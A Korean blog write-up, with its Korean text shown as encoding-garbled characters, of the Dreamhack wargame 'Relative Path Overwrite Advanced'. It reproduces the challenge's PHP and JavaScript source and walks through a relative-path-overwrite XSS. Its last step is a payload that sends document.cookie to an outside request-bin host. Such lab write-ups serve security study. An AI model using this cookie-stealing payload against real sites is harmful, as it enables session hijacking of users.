CTF, War game

[Dreamhack] Level 2: Relative Path Overwrite Advanced

mnzy๐ŸŒฑ 2024. 5. 18. 21:55

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/440

 

Relative Path Overwrite Advanced

Description Exercise: Relative Path Overwrite์˜ ํŒจ์น˜๋œ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.08.10 bot.py ์ˆ˜์ •, Dockerfile ์ œ๊ณต

dreamhack.io

 

2. ํ•ด๊ฒฐ ๊ณผ์ • 

๊ธฐ๋ณธ์ ์ธ ์ฝ”๋“œ๋Š” Relative Path Overwrite์™€ ๊ฑฐ์˜ ๋™์ผํ•˜๋‹ค. 

 

index.php์˜ ์ฝ”๋“œ์ด๋‹ค. 

GET๋ฐฉ์‹์œผ๋กœ page๋ฅผ ๋ฐ›๊ณ , ์ด page์— ..์ด๋‚˜ : ๋˜๋Š” / ์ด ํฌํ•จ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. 

ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋Š”๋‹ค๋ฉด ํ•ด๋‹น ํŒŒ์ผ์„ include ํ•œ๋‹ค. 

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite-Advanced</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
    <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

 

report.php

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

 

vuln.php์˜ ์ฝ”๋“œ์ด๋‹ค. 

์—ฌ๊ธฐ์„œ pram์œผ๋กœ url์„ ๋ฐ›์•„์˜จ๋‹ค.

filter.js ํŒŒ์ผ์ด ๋กœ๋“œ๋˜์ง€ ์•Š๋Š” ๋“ฑ์˜ ์ด์œ ๋กœ filter๊ฐ€ undefined ๋˜๊ฑฐ๋‚˜ ํ•„ํ„ฐ๋ง์— ๊ฑธ๋ฆฌ๋ฉด  "nope !!" ์„ ์ถœ๋ ฅํ•œ๋‹ค. 

ํ•„ํ„ฐ๋ง์„ ํ†ต๊ณผํ•˜๋ฉด id๊ฐ€ param์ธ <pre></pre> ํƒœ๊ทธ์•ˆ์— innerHTML๋กœ ์‚ฝ์ž…๋œ๋‹ค. 

๋”ฐ๋ผ์„œ, ์ด๋ฅผ ์ด์šฉํ•˜๋ฉด dom based xss๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

 

 

filter.js

script ํƒœ๊ทธ, onerror ๋“ฑ์˜ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ๋“ฑ์„ ํ•„ํ„ฐ๋ง ํ•˜๊ณ  ์žˆ๋‹ค.

์ด์ „๋ฌธ์ œ์™€ ๋‹ค๋ฅธ ์ ์€  filter.js๊ฐ€ static ๋””๋ ‰ํ† ๋ฆฌ ์•ˆ์— ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๊ฒƒ์€ ์–ด๋ ต๋‹ค.

var filter = ["script", "on", "frame", "object"];

 

 

404.php

 filter.js๋ฅผ ์ž˜๋ชป ์š”์ฒญํ–ˆ์„ ๋•Œ (์ฆ‰, ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ๊ฒฝ๋กœ๊ฐ€ ์ž˜๋ชป๋˜์–ด ์ฐพ์„ ์ˆ˜ ์—†์„ ๋•Œ) not found๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. 

<?php 
    header("HTTP/1.1 200 OK");
    echo $_SERVER["REQUEST_URI"] . " not found."; 
?>

 

ํ˜„์žฌ nope!! ์ด ๋œจ๋Š” ์ด์œ ๋Š” vuln ํŽ˜์ด์ง€์—์„œ /filter.js ์— ๋Œ€ํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์—ˆ์ง€๋งŒ, ํŒŒ์ผ ๊ฒฝ๋กœ๊ฐ€ ์ž˜๋ชป๋˜์–ด ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์—†๋Š” ๊ฒƒ์ด๋‹ค. ๊ฐœ๋ฐœ์ž๋„๊ตฌ๋ฅผ ๋ณด๋ฉด filter.js๋ผ๋Š” ์ด๋ฆ„์˜ ํŒŒ์ผ์ด ๋กœ๋“œ๋˜์–ด ์žˆ๊ณ , ํŒŒ์ผ๊ฒฝ๋กœ๊ฐ€ ์ž˜๋ชป๋จ์— ๋”ฐ๋ผ 404.php๊ฐ€ ๋กœ๋“œ๋˜์–ด ๊ทธ ๊ฒฐ๊ณผ๊ฐ€ filter.js๋กœ ๋ฎ์–ด์”Œ์›Œ์ง„ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. 

 

๋”ฐ๋ผ์„œ 404.php๋ฅผ ์ด์šฉํ•ด filter.js์˜ ๋‚ด์šฉ์„ ๋ฎ์–ด์“ฐ๋„๋ก ํ•  ๊ฒƒ์ด๋‹ค. 

URL ์š”์ฒญ์—์„œ /๊ณผ //๋Š” ๊ฐ™์€ ๊ฒƒ์œผ๋กœ ํ•ด์„๋œ๋‹ค.

์˜ค๋ฅ˜๊ฐ€ ์—†๋„๋ก ์‹คํ–‰๋˜๊ธฐ ์œ„ํ•ด์„œ /๋ฅผ ๋‘๋ฒˆ ์จ์„œ ์š”์ฒญํ•ด์ค€๋‹ค.

/index.php/hihi//?page=vuln&param=dreamhack

 

ํ•ด๋‹น ์œ„์น˜์— ์Šคํฌ๋ฆฝํŠธ ๋ฌธ์ด ์‹คํ–‰๋˜๋„๋ก alert(1)์„ ๋„ฃ์œผ๋ฉด 

/index.php/alert(1);//?page=vuln&param=dreamhack

 

์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ ์ด์œ ๋Š” ์•ž์˜ ์ž…๋ ฅ๊ฐ’๊ณผ ์ด์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋”ฐ๋ผ์„œ ;๋ฅผ ํ•จ๊ป˜ ์ž…๋ ฅํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฌธ์ด ์‹คํ–‰๋˜๋„๋ก ํ•ด์•ผ ํ•œ๋‹ค.

 

alert(1)์„ ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰ํ•˜์˜€๋‹ค.

/;alert(1);//?page=vuln&param=dreamhack

๋“œ๋ฆผํ•ต request.bin์„ ์ด์šฉํ•ด์„œ ์ฟ ํ‚ค๊ฐ’์„ ํƒˆ์ทจํ•˜์˜€๋‹ค. 

๋”ฐ๋ผ์„œ report ํŽ˜์ด์ง€์—์„œ location.href ๋ฅผ ์ด์šฉํ•ด์„œ ์„œ๋ฒ„์— ์ฟ ํ‚ค๊ฐ’์„ ๋ณด๋‚ด๋„๋ก ํ•˜์˜€๋‹ค. 

index.php/;location.href='https://sehmurj.request.dreamhack.games/'+document.cookie;//?page=vuln&param=dreamhack

 

์„ฑ๊ณต